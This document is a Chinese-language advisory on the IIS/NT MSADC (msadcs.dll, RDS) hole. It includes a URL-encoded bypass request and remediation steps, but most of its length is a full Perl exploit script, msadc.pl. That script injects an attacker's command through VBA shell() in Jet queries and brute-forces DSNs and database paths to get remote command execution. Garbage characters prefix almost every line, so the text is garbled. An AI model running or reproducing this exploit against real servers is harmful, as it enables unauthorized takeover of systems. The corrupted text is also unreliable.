IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#"aL M6Cfs W1p5F\ wt 涉及程序:
5 _
a-nWQ Microsoft NT server
-WK g'1ASMuR 描述:
\9s x_T 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-87]$ ax rgXD>yu( 详细:
UvM_~qo 如果你没有时间读详细内容的话,就删除:
dLy-J1h\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
z7um9g 有关的安全问题就没有了。
TGu]6NzyZ <Z8^.t)| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
#[ch?K {aq}Q|?/ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
g\foBK:GE 关于利用ODBC远程漏洞的描述,请参看:
k;?E,!{ :pPn)j$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X"3Za[9j X3,+aL` 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Ld3!2g2y7& http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,Frdi>7 ~ )m[dfeqd + 这里不再论述。
rLOdQN 5RhP^:i@C 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
D!CuE7} 1rQKHC:| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
S K7b]J> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
w0 0Ba^W *q |3QHZ k?'<f #将下面这段保存为txt文件,然后: "perl -x 文件名"
B[nkE+s \]+57^8r #!perl
~7Jj\@68 #
#Ez+1 # MSADC/RDS 'usage' (aka exploit) script
cWNWgdk,`V #
Tx\g5rk # by rain.forest.puppy
,7nA:0P #
Vm
<9/UG< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
uw`fC%-xh # beta test and find errors!
26<Wg7/, W;@9x1jKX use Socket; use Getopt::Std;
k=):>} getopts("e:vd:h:XR", \%args);
?sm@lDZ\ S2*ER print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
auT'ATW7i |=W=H6h* if (!defined $args{h} && !defined $args{R}) {
hCKx%&[^7 print qq~
VPqMbr"L[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
zS+_6s -h <host> = host you want to scan (ip or domain)
R x.]m0 -d <seconds> = delay between calls, default 1 second
{f<\` -X = dump Index Server path table, if available
K JX@?1" -v = verbose
e<[0H 8 -e = external dictionary file for step 5
OGqsQ %:WM]dc Or a -R will resume a command session
DR w;.it2 WbP*kV{ ~; exit;}
lTn~VsoRZ 4%L-3Ij $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
s.7s:Q` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T11;LSD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)mb RG9P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1_z6O!rx $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^#A[cY2eM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
eX@7f!uz _cW6H B^j if (!defined $args{R}){ $ret = &has_msadc;
}475c{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&`J?`l X Udh!%QP%[w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:xP$iEA`G . "cmd /c ";
>7^+ag~& $in=<STDIN>; chomp $in;
&G"r>,HU $command="cmd /c " . $in ;
\"u3x.! ;y{VdT if (defined $args{R}) {&load; exit;}
L!]~J?) 0fd\R_"d. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_7M! b9oA &try_btcustmr;
7JNy;$]/ K{s%h0 print "\nStep 2: Trying to make our own DSN...";
|_P- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
WZ<kk T 3koXM_4_{) print "\nStep 3: Trying known DSNs...";
v 8`)h<:W? &known_dsn;
#Rkld v' {vJ)!'Eh print "\nStep 4: Trying known .mdbs...";
;|Z;YK@20 &known_mdb;
_ x.D< n=X %ycCNS if (defined $args{e}){
I'[hvp print "\nStep 5: Trying dictionary of DSN names...";
;|hEXd?b &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?"aj&,q+ ;^,2
Qs M print "Sorry Charley...maybe next time?\n";
Y)@PGxjz exit;
]/+qM)F u%7a&1c ##############################################################################
hCLXL QxGQF| sub sendraw { # ripped and modded from whisker
p]zYj >e sleep($delay); # it's a DoS on the server! At least on mine...
47iwb my ($pstr)=@_;
#dLp<l) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
x\Y%/C[Kc die("Socket problems\n");
3PonF4 if(connect(S,pack "SnA4x8",2,80,$target)){
$J |oVVct select(S); $|=1;
Dk'EKT- print $pstr; my @in=<S>;
xmDX1sL** select(STDOUT); close(S);
%acy%Sy return @in;
B=;pyhc } else { die("Can't connect...\n"); }}
=oF6|\]{; ZHshg`I` ##############################################################################
Te8BFcJG id-VoHdK sub make_header { # make the HTTP request
Hr$oT=x[ my $msadc=<<EOT
LaZF=<w( POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
k:4?3zJI User-Agent: ACTIVEDATA
s'^zudx Host: $ip
;!@\|E Content-Length: $clen
t#y Connection: Keep-Alive
xX'Uq_Jv v}IP%84 ADCClientVersion:01.06
16\U'< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v`hv5wQ oPNYCE --!ADM!ROX!YOUR!WORLD!
DJE/u qE Content-Type: application/x-varg
Y\T*8\h_[ Content-Length: $reqlen
yvxC/Jo4 LoG@(g&) EOT
F_~-o,\ ; $msadc=~s/\n/\r\n/g;
)).;p_nLZ return $msadc;}
71tMX[x \i-jME(sN ##############################################################################
*eXO?6f%s^ S'-<p<;D\B sub make_req { # make the RDS request
2vnzB8"k my ($switch, $p1, $p2)=@_;
^BM/K&7^ my $req=""; my $t1, $t2, $query, $dsn;
{NK>9phoB >B~jPU if ($switch==1){ # this is the btcustmr.mdb query
^@L[0Z` $query="Select * from Customers where City=" . make_shell();
bT-G<h*M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4Sg!NPuu7& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
>`NY[Mn T *t$ elsif ($switch==2){ # this is general make table query
FA^x|C =$ $query="create table AZZ (B int, C varchar(10))";
&SN$D5U' $dsn="$p1";}
CHpDzG>]4 GIVs)~/Eq elsif ($switch==3){ # this is general exploit table query
`A
<yDy $query="select * from AZZ where C=" . make_shell();
Vd<=
y $dsn="$p1";}
vB4cdW
2#3 )Qxv9:X elsif ($switch==4){ # attempt to hork file info from index server
,.`^Wx6F $query="select path from scope()";
L)nVNY@Mc $dsn="Provider=MSIDXS;";}
4_.k Q"'DH paBGJ~{= elsif ($switch==5){ # bad query
A}y1v;FB $query="select";
P)ZSxU $dsn="$p1";}
S,(@Q~ [!R%yD; $t1= make_unicode($query);
x>8f#B\Mr $t2= make_unicode($dsn);
3X!~*_iC $req = "\x02\x00\x03\x00";
"}HQ)54& $req.= "\x08\x00" . pack ("S1", length($t1));
^LU[{HZV $req.= "\x00\x00" . $t1 ;
Y|VzeJC $req.= "\x08\x00" . pack ("S1", length($t2));
~$\j$/A8/ $req.= "\x00\x00" . $t2 ;
*Ra")(RnDK $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{hg$?4IyQ return $req;}
oM7^h3R CQ( @7 ##############################################################################
Zj7XmkL PRz oLzr sub make_shell { # this makes the shell() statement
YqJIp. Z return "'|shell(\"$command\")|'";}
BkZ%0rw% Fp]8f&l8 ##############################################################################
.FXQ,7mZ- Y+j KP*ri sub make_unicode { # quick little function to convert to unicode
%@&)t?/= my ($in)=@_; my $out;
Ksp;bfe for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;&!dD6N return $out;}
B)Q'a3d# >@L
HJ61C ##############################################################################
8Cqs@<r4Od l46F3C| sub rdo_success { # checks for RDO return success (this is kludge)
eLYFd,?9 my (@in) = @_; my $base=content_start(@in);
/r%+hS if($in[$base]=~/multipart\/mixed/){
$"FdS,*qKl return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;dFe >`~ return 0;}
*@&
"MZ/M =@w:
##############################################################################
2bJFlxEU lewDR"0Kx sub make_dsn { # this makes a DSN for us
0/ Ht;( my @drives=("c","d","e","f");
_Nn!SE print "\nMaking DSN: ";
,![=_ d foreach $drive (@drives) {
'MUrszOO.e print "$drive: ";
$aA.d^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1;P\mff3Y "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
W*<]`U_. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
qj6`nbZ{va $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0uz"}v) return 0 if $2 eq "404"; # not found/doesn't exist
MP,*W}@ if($2 eq "200") {
F&*M$@u5 foreach $line (@results) {
h2%:;phH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Vi#im`@ } return 0;}
x3s^u~C)(w $P(nh'\ ##############################################################################
|&Pl 4P BB.TrQM.# sub verify_exists {
psC7IE<v my ($page)=@_;
aHC;p=RQ\A my @results=sendraw("GET $page HTTP/1.0\n\n");
sPg6eAd~? return $results[0];}
Y/0O9}hf "Cc"y* P ##############################################################################
wP/9z(US RC(D=6+[C sub try_btcustmr {
4QFOO
sNp my @drives=("c","d","e","f");
pU ]{Z( my @dirs=("winnt","winnt35","winnt351","win","windows");
? sW`**j $/TA5h foreach $dir (@dirs) {
? ~Zrd print "$dir -> "; # fun status so you can see progress
$-]setdY foreach $drive (@drives) {
^,K.)s print "$drive: "; # ditto
8 uxFXQ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
5{q/z^] $reqlenlen=length( "$reqlen" );
WdqK/s<jM $clen= 206 + $reqlenlen + $reqlen;
j#,M@CE p^rX.?X my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~5uNw*H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
6wB>-/'Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0NtsFPO ]&U| d ##############################################################################
Noxz kpMF &t/<yq}{ sub odbc_error {
9yo[T(8 my (@in)=@_; my $base;
%`QsX {?, my $base = content_start(@in);
;lH,bX~5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,R}KcZG) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"IG$VjgcB $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wmE,k1G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R0mT/h2 return $in[$base+4].$in[$base+5].$in[$base+6];}
&H1D!N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
H}V*<mgw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$Q?G*@y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Zfv(\SI 0Eu$-) ##############################################################################
f_h"gZWV )75yv<L2S, sub verbose {
R%_H\-wo my ($in)=@_;
&NjZD4m`= return if !$verbose;
b*F~%K^i$ print STDOUT "\n$in\n";}
~|{)h^]@ Vfm #UvA ##############################################################################
Jf<yTAm q>(u>z! sub save {
oHXW])[ my ($p1, $p2, $p3, $p4)=@_;
$a*Q).^ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c9TAV,/fF* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
D2:a close OUT;}
*7;*@H*jd Cn;H@!8<s ##############################################################################
SE9u2Jk @GZa:( sub load {
~oA9+mT5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m2uML*&O5K open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&9dr+o-(~ @p=<IN>; close(IN);
y2"S\%7$h $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
z!C4>, $target= inet_aton($ip) || die("inet_aton problems");
G\>\VA print "Resuming to $ip ...";
+.#S[G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`J#xyDL6? if($p[1]==1) {
l[ ": tG $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
a]Da`$T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
uM)9b*Vbo my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n+\Cw`'<H if (rdo_success(@results)){print "Success!\n";}
ICCCCG*[ else { print "failed\n"; verbose(odbc_error(@results));}}
|@L &yg,x elsif ($p[1]==3){
*_/eAi/WG if(run_query("$p[3]")){
@EP{VV print "Success!\n";} else { print "failed\n"; }}
.cT$h?+jyl elsif ($p[1]==4){
*CY6
a
if(run_query($drvst . "$p[3]")){
CDwIq>0j print "Success!\n"; } else { print "failed\n"; }}
aQ&8fteFR exit;}
lDPRn~[#\ hW!@$Ph ##############################################################################
#D LT-G0 h[je _^5 sub create_table {
B,vHn2W
my ($in)=@_;
JNM@Q $reqlen=length( make_req(2,$in,"") ) - 28;
76_8e{zbr $reqlenlen=length( "$reqlen" );
}RN=9J $clen= 206 + $reqlenlen + $reqlen;
MZMS?}.2 my @results=sendraw(make_header() . make_req(2,$in,""));
xK),:+G( return 1 if rdo_success(@results);
S,Wl)\ my $temp= odbc_error(@results); verbose($temp);
YNgR1:l return 1 if $temp=~/Table 'AZZ' already exists/;
E0)mI)RW. return 0;}
`k{ ff w[YkTv ##############################################################################
v`+n`DT _2gT1B sub known_dsn {
jU4)zN/`r # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q$.V:# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GkGC4*n "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"Eok;io "banner", "banners", "ads", "ADCDemo", "ADCTest");
"l[V%f E AY/-j$5+? foreach $dSn (@dsns) {
Fe&n, print ".";
7Ysy\gZ&wp next if (!is_access("DSN=$dSn"));
"Yfr"1RmO if(create_table("DSN=$dSn")){
AYPf)K;% print "$dSn successful\n";
BV }(djx if(run_query("DSN=$dSn")){
x)#<.DX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<7FP"YU print "Something's borked. Use verbose next time\n";}}} print "\n";}
$;)noYo i^sDh>$J ##############################################################################
qSC~^N` f}lT|.)?VD sub is_access {
DA4edFAuE my ($in)=@_;
jWv3O&+?X $reqlen=length( make_req(5,$in,"") ) - 28;
{GX
&)c4 $reqlenlen=length( "$reqlen" );
ndKvJH 4 $clen= 206 + $reqlenlen + $reqlen;
@u"kX2>Eq my @results=sendraw(make_header() . make_req(5,$in,""));
?`T6CRZhr my $temp= odbc_error(@results);
)Vg{Y [! verbose($temp); return 1 if ($temp=~/Microsoft Access/);
OHtgn return 0;}
}W@#S_-e8 ,Og[[0g ##############################################################################
VO @
4A6 zy5s$f1IA sub run_query {
fVA=<: my ($in)=@_;
cFI7}#,5 $reqlen=length( make_req(3,$in,"") ) - 28;
^`TKvcgIc $reqlenlen=length( "$reqlen" );
3D$\y~HU $clen= 206 + $reqlenlen + $reqlen;
0+n&BkS' my @results=sendraw(make_header() . make_req(3,$in,""));
7SA-OFM return 1 if rdo_success(@results);
TRySl5jx@ my $temp= odbc_error(@results); verbose($temp);
:_fjml/ return 0;}
p;n3`aVh XC7Ty'#"KX ##############################################################################
l?@MUsg+ "
g0-u(Y sub known_mdb {
O{")i;v@ my @drives=("c","d","e","f","g");
y?Hj%, my @dirs=("winnt","winnt35","winnt351","win","windows");
w8ZHk?: my $dir, $drive, $mdb;
Y>78h2AU my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
BYr_Lz|T
KB%j! ? # this is sparse, because I don't know of many
'XP>} m my @sysmdbs=( "\\catroot\\icatalog.mdb",
+B`'P9Zk@ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
z,}c?BP "\\system32\\certmdb.mdb",
EDq$vB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
tyn?o qL%.5OCn( my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
c#\ah}]Vo "\\cfusion\\cfapps\\forums\\forums_.mdb",
!!-}ttFA "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h7de9Rt "\\cfusion\\cfapps\\security\\realm_.mdb",
nCffBc "\\cfusion\\cfapps\\security\\data\\realm.mdb",
e8XM=$@ "\\cfusion\\database\\cfexamples.mdb",
y(/jTS/hd "\\cfusion\\database\\cfsnippets.mdb",
Xc8= 2n "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
JK(`6qB>(6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
up+.@h{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
?dJ/)3I%F "\\cfusion\\database\\smpolicy.mdb",
zt)p`kd D "\\cfusion\\database\cypress.mdb",
uKR\Xo} "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
G!!-+n< "\\website\\cgi-win\\dbsample.mdb",
#RR:3ZPZC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
TdNuD V "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Xb(CH#*{z ); #these are just
w&wA >q>& foreach $drive (@drives) {
1EC -e|M. foreach $dir (@dirs){
`uIx/.L foreach $mdb (@sysmdbs) {
Qfkh0DX
B print ".";
(aDb^(]> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
>0Fxyv8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1AV1d%F if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g{g`YvLu^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
gZ`32fB% } else { print "Something's borked. Use verbose next time\n"; }}}}}
Gsds!z$ )XmCy"xx foreach $drive (@drives) {
AkYupP2]v foreach $mdb (@mdbs) {
G8^0^@o print ".";
":UWowJO if(create_table($drv . $drive . $dir . $mdb)){
2X qTyf< print "\n" . $drive . $dir . $mdb . " successful\n";
_Hz~HoNU if(run_query($drv . $drive . $dir . $mdb)){
?
-v print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,h%D4EVx } else { print "Something's borked. Use verbose next time\n"; }}}}
pr62: }
(*Gi~?- }j+~'O4m ##############################################################################
38V $ <w ^3Z7dIUww sub hork_idx {
$
7UDz print "\nAttempting to dump Index Server tables...\n";
UC8vR>e\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Whv]88w{ $reqlen=length( make_req(4,"","") ) - 28;
HpB!a,R6B $reqlenlen=length( "$reqlen" );
Cp .1/ $clen= 206 + $reqlenlen + $reqlen;
.DgoOo%?" my @results=sendraw2(make_header() . make_req(4,"",""));
e={k.y}x} if (rdo_success(@results)){
yPf?"W my $max=@results; my $c; my %d;
! 6p>P4TT for($c=19; $c<$max; $c++){
o|z+!, $results[$c]=~s/\x00//g;
^?$D.^g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
>:w?qEaE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
jgk{'_ j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`FZ(#GDF $d{"$1$2"}="";}
K)<Wm,tON foreach $c (keys %d){ print "$c\n"; }
b\SXZN)Be } else {print "Index server doesn't seem to be installed.\n"; }}
9nT?|n]> kJ%{ [1fr ##############################################################################
TqENaC#& NEqt).
sub dsn_dict {
Y5nz?a open(IN, "<$args{e}") || die("Can't open external dictionary\n");
VKq0<+M while(<IN>){
>X;xIyRL $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=]=B}L` next if (!is_access("DSN=$dSn"));
fp.!VOy if(create_table("DSN=$dSn")){
tP}Xhn` print "$dSn successful\n";
%iK%$ if(run_query("DSN=$dSn")){
Pk$}%;@v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W0VA'W print "Something's borked. Use verbose next time\n";}}}
J}x>~?W print "\n"; close(IN);}
4^
c!_K&& x1|Da$2 ##############################################################################
;V|M3 l%^h2
o sub sendraw2 { # ripped and modded from whisker
o `b`*Z sleep($delay); # it's a DoS on the server! At least on mine...
6!4';2Q my ($pstr)=@_;
^c/mj9M#C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B1|?RfCe die("Socket problems\n");
Qy4X#wgD if(connect(S,pack "SnA4x8",2,80,$target)){
Ty`-r5 print "Connected. Getting data";
>pgQb9
T+_ open(OUT,">raw.out"); my @in;
"sFW~Y select(S); $|=1; print $pstr;
mZ`1JO9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
' oBo| close(OUT); select(STDOUT); close(S); return @in;
\BN|?r$a } else { die("Can't connect...\n"); }}
x7vq?fP0n XxmJP5 ##############################################################################
eeZIa`.sX 3CA|5A.Pa sub content_start { # this will take in the server headers
RxlszyE my (@in)=@_; my $c;
Zw2jezP@t for ($c=1;$c<500;$c++) {
fp9rO}## if($in[$c] =~/^\x0d\x0a/){
W\HLal if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Xy:Gj,@ else { return $c+1; }}}
uK$=3[;U/! return -1;} # it should never get here actually
dVvZu% DFp 9OPK4- ##############################################################################
v2IEJ 5iP8D<;o5 sub funky {
)J;ny!^2 my (@in)=@_; my $error=odbc_error(@in);
j%#?m2J} if($error=~/ADO could not find the specified provider/){
P;j&kuW|zL print "\nServer returned an ADO miscofiguration message\nAborting.\n";
:lgHL3yl exit;}
EC<5M5Lc if($error=~/A Handler is required/){
2K3MAd{ print "\nServer has custom handler filters (they most likely are patched)\n";
J
cP~-cp exit;}
7rH'1U if($error=~/specified Handler has denied Access/){
[:Be[pLC print "\nServer has custom handler filters (they most likely are patched)\n";
IbF4k.J exit;}}
66/Z\H^d E^7C
_JP ##############################################################################
aPprMQ5 <#zwKTmK1 sub has_msadc {
XFtOmY my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
OWqrD@ my $base=content_start(@results);
-UJ?L return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Nfr:`$k return 0;}
P=c?QYF L{!ihJr ########################
:lNg:r$4 X2i*iW< >H$;Z$o*( 解决方案:
+-U@0&Y3M 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+Dd"41 2、移除web 目录: /msadc